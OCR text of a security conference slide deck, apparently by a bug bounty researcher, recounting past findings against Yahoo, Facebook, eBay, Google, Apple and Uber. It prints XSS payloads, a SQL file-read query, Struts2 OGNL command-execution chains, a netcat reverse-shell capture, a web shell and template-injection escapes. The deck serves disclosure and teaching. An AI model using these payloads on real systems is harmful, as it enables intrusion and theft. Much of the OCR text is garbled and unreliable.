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The Internet Bug Bounty
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$6 Million

e 750+ bugsin 2015
300+ hackers in 2015

~
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$4.2 Million

« 526 bugsin 2015
« 210 hackers in 2015

Y

$1.6 Million

« 2500+ bugs since 2013
1800+ hackers since 2013
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SQL Injection

Cross-Site Scripting
Cross-site Request Forgery
XML External Entity

Local File Inclusion

CSV Macro Injection
XSLT Injection

SVG/XML XSS

RPO Gadget (NOT ROP)
Subdomain Takeover
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« DNS £ #1257
- T R7? AR R ? RERE &7
- Whois? R—-Whois?
— FEE AR TS uberinternal.com ?
— Google R/ 1E B *Z Al twetr.con -

etonreve.com °

 Port Scanning
— Facebook Jenkins RCE by Dewhurst Security
— Pornhub Memcached Unauthenticated Access by @ZephrFish
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— https://login.yahoo.con: X

C & https://login.yahoo.com/bin/hostname

103 .member.twl.yahoo.com
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manhattan.yahoo.com, settings.yahoo.com, scribe.yahoo.com,
boss.yahoo.com, on.yahoo.com, mobile.yahoo.com, ondemand.yahoo.com,
publishing.yahoo.com, bis.tv.widgets.yahoo.com, pilotx1.yahoo.com,
hacks.developer.yahoo.com, extra.tumblr.com, adspecs.yahoo.com,
api.cloudkv.yahoo.com, ccpuiyieldmanager.com, qos.video.yimg.com,
*video.yahoo.com, location.yahoo.com, *.commercecentral.yahoo.com,

* b caarchyimbhon com * vohniviabhon coam * madiasviaabhno ~omn
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—Instagram's Million Dollar Bug by Wesley (Awesome :P)
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« B ARERHIRE
« B RAFTFERENF:
-SELF XSS (FZ 8% EMREEH)
— Information Leakage

— Cookie without Secure Flag or HttpOnly
— Logout CSRF
— Content Injection

— More ...
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A M IHiE Ry Bonus
—acebook Onavo Dom—Based XSS

* Mar 16, 2014 Onavo Reflected XSS by Mazin Anmed

http://cf.onavo.com/iphone/mc/deactivate.html

furl=javascript:alert(document.domain)
&seed=1394953248

« May 01, 2014 Facebook fixed it
* One day, Facebook revised it... Buggy again!



A M IHiE Ry Bonus
—acebook Onavo Dom—Based XSS

seed = getQueryVariable("seed");

url = getQueryVariable("url");

UACheck = getQueryVariable("uacheck");
= getQueryVariable("mc");

function mc() {
1f ((UACheck == "@") ||

(navigator. usePAgent.match(/iPhone/i)) | |
(navigator.userAgent.match(/1Pad/1)) ||
(navigator.userAgent.match(/1Pod/1))) {
document. location.href = MC;
setTimeout(postmc, 3000);
} else {
alert('Not an 1Phone/1iPad..."');




A M IHiE Ry Bonus
Facebook Onavo Dom—-Based XSS

| Onave

C M | [ cf.onavo.com/iphone/mc/deactivate.html?url=http://xxx.com&uacheck=0&mc=javascript:alert{document.domain)

&) YouGetSignal.com N Netcraft Site Report m 60ecse8t.Local_-60 .. Benmi.com - Doma /Users/Orange/Dro| 15 MX Record Lookup (] ws¥isi® | https://www.hgi.rut (] mmmniks » |l

Please wait...

cf.onavo.com RYERETR :

http://cf.onavo.com/iphone/mc/deactivate.html
Purl=http://example/
&uacheck=0
&mc=Javascript:alert(document.domain)




A M IHiE Ry Bonus
Facebook Onavo Dom—-Based XSS

L | '] Onavo x QY
€« C A O cf.onavo.comhphone/mc/deactivate.html'?urI:http://xxx.com&uacheck:O&mc:javascript:alert(documem.d '

e =) .
) YouGetSignal.com [N Netcraft Site Report m 60ecse8t.Local_-60 ... Benmi.com - Doma /Users/Orange/Dro| O g ookup | % i 1% . | https://www.hgi.rut (L smmmsiks »

Please waijgds

Purl=http:
&uacheck=0
&mc=Javascript:alert(document.domain)

mple/

http://cf. ~} \ /i hone/mc/deactivate.html
P- ﬂ‘?‘h P
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e

Bay SQL Injection

FER eBay.com BEESFHERER

— eBayc3.com

« 123 WHOIS #2458 eBay Inc. FhidEf iR
« 5122 eBayc3.com

— images.ebayc3.com



B MIHEE a9 Bonus

Bay SQL Injection

[] Ensble Postdata [ Enable Referrer

@eBay Image Repository

currently storing 1,858,710 images ...




AHMINERE Bonus
Bay SQL Injection

images.ebayc3.com / loc

Pl

Other-

#PMAURL

stdata [ ] Enable Referrer

=:
imgrepo
nation_

FH

phpmyadmin

raditional

iS58 | pmahomme |~
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eBay SQL Injection

« SEIHEL= Y SQL Injection
-ER 250 LL RCE?

=k ‘§1;-‘-'4
- Eﬁitnﬁ 27

EVEN CATS KNOW l
P
— CREATE TABLE test (src TEXT);

— LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE “test™;



E MM IHERE R Bonus
eBay SQL Injection

“ "N CATS KNOW
SESHRE =Y SQL Injection ol e,
-ER 250 LL RCE?

¢ %Eﬁ E *ﬁ? L
— CREATE TABLE 070\
—LOAD DATA LOCAI:‘ ILE '/etc/passwd' INTO TABLE “test"
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o« TERCHER, WEEEIE
—Web Application?

— Framework?

« FEIT R 1-Day HFBER
— WordPress CVE-2016-4567 flashmediaelement.swf XSS

—ImageTragick Remote Code Execution
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Uber Reflected XSS

jes.et.uber.com/hangzhc

utag_main=v_id:0153a490506800206afcd2d1727e05049001c00d0086e$_sn:35_ss:05_st:14589046108308segment:abutm_campaign:selfs
1461319233585%utmsource:website$_pn:8%3Bexp-session$ses_id:1458902248787%3Bexp-session; _ga=GA1.2.432751326.1458754835;
< >
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Uber Reflected XSS

B

jes.et.uber.com/hangzhc

utag_main=v_id:015388 ( RSt 14589046108308segment:a$utm_campaign:selfs
1461319233588t § ) ST JoaBexp-session; _ga=GA1.2.432751326.1458754835;
>




KN U DH ME R AN
developer.apple.com % EXZE 4l

2013

IOS Developer - "We'll be back soon"
07/18
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developer.apple.com % EXZE 4l

2013

IOS Developer - "We'll be back soon"
07/18

2013

07/22 Apple confirms its developer website was hacked
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developer.apple.com #EXZE I

2013 IOS Developer - "We'll be back soon"

07/18

2013 R |

07/22 Apple confirms its developer website was hacked

2013 Ibrahim Balic: | hacked Apple's developer website and have over 100K
07/22 developers' user details



KN U DH ME R AN
developer.apple.com % EXZE 4l

2013 IOS Developer - "We'll be back soon"

07/18

2013 R |

07/22 Apple confirms its developer website was hacked

2013 Ibrahim Balic: | hacked Apple's developer website and have over 100K
07/22 developers' user details

2013 Apple Hall of Fame - "We would like to acknowledge 7dscan.com, and SCANV
07/??  of knownsec.com for reporting this issue"
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developer.apple.com %

) hitps:#developer apple com/membercenterfindex action?redirect:${ %2 3rsp %34 B2 2cont
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Yahoo Login Site RCE

- # Yahoo Bug Bounty E#EE|, RERFIT
 {k7A 2 Google hacking

— sitetyahoo.com ext:action

- b.login.yahoo.com

- Fick s2-016 work {EFE#EHRKRAE WAF

- =EAMZEELE |

-5 —K OGNL st EF !
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Yahoo Login Site RC

- igEE WAF
- A FIER B s 7

redirect:S{12x21}

redirect:S{#c=1}
redirect:s{#c=1,1}
redirect:s{#c=1,#d=new chr2[10]}
redirect:s{#c=1,#d=new chr2[10],1}

# /login/252
# /login/

# /login/1

# /login/

# /login/



X I 2D ME IR AN
Yahoo Login Site RCE

a! Yahoo! - Error report ! + L

f\‘/\! & hitps://b.login.yahoo.com/login/1 |§\ )~ site:hup://ime.sogou.com/

INT :|= & SQL - XS5 - Encryption - Encoding = Other -

& Load URL https./ [b.login.yahoo.com/login/forgot-passweord.action?(new java.))
1 split URL
»J  Execute

(¥ Enable Post data [_| Enable Referrer

Post data redirect: 5{
%23_memberAccess.allowStaticMethod Access®3dtrue,
truts2. ctionContext@getResponse(,
aal%3dfalse,
Properties®%3d@java.util.Collections@EMPTY_SET,
b,
@getRuntime().execinew¥20java.lang . String[]{%23parameters.al %23 parameters.a2,%23parameters.a3p),
000),1

YaHoO!

HTTP Status 404 - /login/1

type Status report

orange(@@z:~$ nc -vvl 12345

Connection from 209.73.163.226 port 12345 [tcp/italk] accepted
Linux ac4-laptui-006.adx.ac4.yahoo.com 2.6.18-308.8.2.el5.YAH00.20120614 #1 SMP Thu

Jun 14 13:27:27 PDT 2012 x86_64 x86_64 x86_64 GNU/Linux
orange(@@z:~$
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Yahoo Login Site RC

orange@@z:~$ nc -vvl 12%
Connection from 209.73.163.7226

Linux ac4-laptui-006.adx.acs@Namnoo.com 2.6.18-308.8.2.el5.YAH00.20120614 #1 SMP Thu
Jun 14 13:27:27 PDT 2012 x86_64 x86_64 x86_64 GNU/Linux

orange(@@z:~$
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o an il LoaQQ
WWW.google.com XSS

A Google Hacking & Google
—site:wnww.google.com -adwords —-finance...
—WWW.google.com/trends/correlate/js/correlate. Js

googsexportSymbol("showEdit", function(src_url) {

var html = (new googShtmlsSafeHtml).
initSecurityPrivateDoNotAccessOrElse_('
<1frame width=400 height=420 marginheight=0 marginwidth=0
frameborder=0 src=""' + src_url + '">Loading...</iframe>');




o an il LoaQQ
WWW.google.com XSS

WWW.google.com/trends/correlate/search
Pe=1d:PaHT-seS1lg9
&t=weekly

<a href="#" onclick="
showEdit('/trends/correlate/edit
Pe=1d:PaHTseS1g9&t=weekly');">

o QORI
—1d:PaHT-seS1g9
—1d:not_ex1ists
—1d:PaHT-seS1g9:foobar



o an il LoaQQ
WWW.google.com XSS

WWW.google.com/trends/correlate/search
?e=1d:PaHT-seS1g9:'"><
&t=weekly

<a href="#" onclick="
showEdit('/trends/correlate/edit
?e=1d:PaHTseS1g9:8#39;8&quot;&gt; &Lt ;&t=weekly');">

« FEieKkAFEE? BT B4 JavaScript N
- HTML Entities?
- 16 ENL?
-8 ENL?
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WWW.google.com XSS

WWW.google.com/trends/correlate/search
?e=1d:8N9IFMOltyp:\x220onload\x3d\x22alert(document.domain)//
&t=weekly

<a href="#" onclick="
showEdit('/trends/correlate/edit
Pe=1d:PaHTseS1lg9:\x220nload\x3d\x22alert(document.domain)//
&t=weekly');">




o an il LoaQQ
WWW.google.com XSS

* m | Manage my Correlate data | Sian out

& | Edit this data

Compare weekly time series requested operation.

Compare monthly time series

Shift series |0
Country:

United States

Documentation
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WWW.google.com XSS

« ECK =1 Dom—-Based BY SELF-XSS EE{EFHERSE) ?
— R —4 —¢ EFHEFSIENEERAAR Google

c BT TSR
- i& Click Jacking B &+ ?
- FEEENH ASE IFRMAE BEE R TEE 8 R &



o an il LoaQQ
WWW.google.com XSS

e https://youtu.be/ES|7PyQ-nv0
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WWW.google.com XSS

e https://youtu.be/ES|7PyQ-nv0
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—acebook

Remote Code

e IR\ facebook.com BY Whois #3E

— thefacebook.com

— tfbnw.net
—fb.com

« 5122 vpn.tfbnw.net HEX

—vpn.tfbnw.net
— files.fb.com

—www.facebooksuppliers.com

—xecution




e i LAaQQ

—acebook

Remote Code

s IEBEERFRR BT FE

- Z%] VM

— B ionCube

-F TR EIRMIET

—xecution




e i LAaQQ

—-0R 1=1 LIMIT 1 INTO OUTFILE '...

—acebook
« Z Shell
Ox3c3f... #
« Z Root
_EEThEE

Remote Code

TR EEHE?

- NREE A?ETJrF?fE?’ﬁ‘EI’J%%ﬁﬁ%?
—Yum install #£8E A~ 20/E B
- BEAITER A ZIE B

—xecution

' LINES TERMINTATED by

e A P —1E 5 #r i it
Yum install

AN Sudoers

A0 NOPASSWD
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—acebook Remote Code Execution

https://files.fb.com/courier/t... X -+

% view-source:https.//files.fb.com/courier/themes/templates/.coxxooxx.php

INT v| = @ SQL- XSS+ Encryptionr Encodingr Otherr
@ Load URL(A) [view-source:https://fi|es.fb.com/courier/themes/templates/.ooxxooxw.php
B split URL(9)

» . Execute (X

| Enable Postdata [ ] Enable Referrer

Post data | coxxooxx=echo '$ POST[ccc]
8iccc=/tmp/.ICE-unix/gg "id" 2> /dev/stdout

1id=0(root) gid=0{root) groups=99(nobody)
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—acebook Remote Code Execution

https://files.fb.com/courier/t... X -+

% view-source:https://files.fb.com/courier/themesg

v = ® SQL- XSS+ Encryptionr Encodi

@ Load URL(A) [view-source:https://ﬁles.fb,c -
B split URL ()

» . Execute (X

Post data

ps=99(nobody)
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App\e XSS

2 ] 2
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 Google Hacking

—site:x.apple.com -waw -developer -...

-http://lookup-api.apple.com/wikipedia.org/
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Apple XSS

D1.
D1.

D1.

m @d @d @

D1.

P o] e

.com/wikipedia.org
.com/orange.tw
.com/en.wikipedia.org

.com/Jja.Wikipedia.org

T



2 KN ;$DE‘SE%
App\e XSS

2 ] 2

(?Eﬁﬁ

o FEE S B H0EE 1157

if (preg_match("/.wikipedia.orgs/", $parsed_url['host']))
// do proxy

else
// goto fail




£ NT$720 B fE XSS

g 1R A FEXD



(- apple.com

INT = @ SQL~v XSS+ Encryptionv Encodingv Other~

s Load URL http://lookup-api.apple.com/orange-wikipedia.org/
&b Split URL
Execute

Enable Post data Enable Referrer

lookup-api.apple.com

i HY lookup-api.apple.com




(- apple.com

INT i = @ SQL~v XSS+ Encryptionv Encodingv Other~

@ Load URL http://lookup-api.apple.com/orange-wikipedia.org/
& spit URL
Execute

Enable Post data Enable

iR HY lookup-api.apple.com
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— CTF (Capture the Flag)

- 2 e IR AR Write Ups

— H I RATAYE X

- F5 5t
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Apple RCE, 5—=KE A Apple K

s TECEME > EREIEEEAEFHRNER
- http://abs.apple.com/ssurvey/thankyou.action

- BREFHE IS BN S
-~ Jboss, Tomcat, WebObjects ER&E
- ¥R E|—HE /CVS/
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Apple RCE, 55 —=K&E A Apple A

e Struts? JRIATEE 2012 FEEXNZIE AL E
« Google Trend of Struts?

\

Apple RCE
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Apple RCE, 8—=KE A Apple R

view-source:http://abs. e.com/ssurvey/thankyou.actior
view-source:http://abs.apple.com/ss thankyou.action

v | = @ SQL- XSS- Encryption- Encodingr Otherr
Load URL (A) view-source:http://abs.apple.com/ssurvey/thankyou. action
Split URL (S)
Execute (X}

V| Enable Postdata [ | Enable Referrer

Post data ('%43_memberfccess.allowStaticMethodfccess' ){a)=true
&b (" \3context [ xwork MethodAccessor denyMethodExecution™' [%75false’ )(b))
&( N3 (N3 _memberdccess .excludeProperties’\75@java .util .Collections@EMPTY_SET' )(c))
&(2)((" M3myend V75N 1dh ' )(d))
&Ch)( (" \d3myret\75@java . lang Runtime@zetRuntime( ) exec( vd3mycnd )' )(d))
&1 M3mydat \T5new d0java 1o DatalnputStrean( \d3myret .getInputStream( ))' )(d))
&30 (" \3myres\T5new d0byte [51020] " ){(d))
&Y \3mydat . read(M3myres)' )(d))
&C1Y(( " \3mystr\TSnewid0java  lang String(‘\d3myres)' )d))
&m Y (' \d3myout\75@0rg apache .struts2 ServletictionContext@etResponse( )’ )(d))

1id=0(root) gid=0{root)
VOVVVVVV0VVVVV00V0VVVV0V0VVVVVVVVVVVVVVVVVVVV0V0VOOE
VOVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVHVOOHVHOE




2% 16 B S AR =

HIHAIEHRRK E
REIREERRE (LEREERE 5 E)
ERBE T —ERARERERAE (EM) |



Q\Jbgén'/ﬁﬁimqﬂ /&\Eg

F A XSS 0-Day 5% IRAE B

- f& OO0 mra#EEFHIR—1E IP
- BEFIET IP 2F2BH 00 Mi? BERE

ERBHEIXBNAKXMER OO0 Rift

BB ==

— Struts? 1#=
- Full Updated
— No more s2-0xx




L B R 2t i B R
A E XSS 0-Day =2 IR %@

o K -

— Struts? $#% action #EMEH ActionSupport

public void setActionErrors(Collection<String> errorMessages) {

validationAware.setActionErrors(errorMessages);

}

- At ZHE—EBuh 22 Struts?2 FriEE A ZEEE N
& PactionErrors=1 EA]

— /Whatever.action?actionErrors=<svg/onload=alert(1)>



L B R 2t i B R
A E XSS 0-Day =2 IR %@

o LK -

— Struts? 1#%E action #EHEFK A SERO O

g errorMessages) {

rorMéssages);

- Rt R B — B2 S otruts2 FTiES R EEEE N
&l PactionErrorsg 1O ]

— /Whatever.actiorractionErrors=<svg/onload=alert(1)>



One more things...

a0 RA% @R R



Thanks for Angulards

{{"'a'.constructor.prototype.charAt=[].Jjoin;
seval('x=1} } };alert(1)//');}}



Q\Jbgén'/ﬁﬁimqﬂ/& Et%

Uber SSTI RCE

« Template RN EF L2 F#HFILEIFRA, B8 ARE
— Client Side Template Injection
— Server Side Template Injection

« Uber £ B B TSR & 18 B 12 2 &= &L B Al #H &7
- FTEZ NodedS Hl Flask
— 0 T EUEE ROUHE Rk B BRF ]
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Uber SSTI RCE

e r1ders.uber.com

- EX 2 EREEFTEBIMER S E
— Cheng Da
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Uber SSTI RCE

* Python Sandbox Bypass
—{{ []J.__class__.__base__.__subclasses__() }}

Hi, [<type 'type'>, <type 'weakref'>,
<type 'weakcallableproxy'>, <type 'weakproxy'>,
<type 'int'>, <type 'basestring'>,

a IJ J - a a

. ;e ]

* Asynchronous Task
—Template( "Hi, %s ..." % get_name_from_db() )



&;u%%@iﬁimﬂﬂ/d Et%
Uber SSTI RCE

* Python Sandbox Bypass
-{{ [J].__class__.__base__.

Hi, [<type '"type'>, <type 'u
<type 'weakcallableproxu Sea

o a2 ‘ -
A
J h ¢ > J -t
5
- J = J - - -

* Asynchronous Tasl‘%
—Template( "Hi, %s ..." % get_name_from_db() )
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« —EERABREEIRAIL !
« 786677 Bim, 7R
 Organizing Your Know-How, Building Your Own Tool




&8 B R

Google — Bughunter University

Bugcrowd — List Of Bug Bounty Programs
Hackerone — Hacktivity

XSses.com

Facebook Bug Bounties by @phwd
Wooyun.org



Thank you

orange@chroot.org
blog.orange.tw



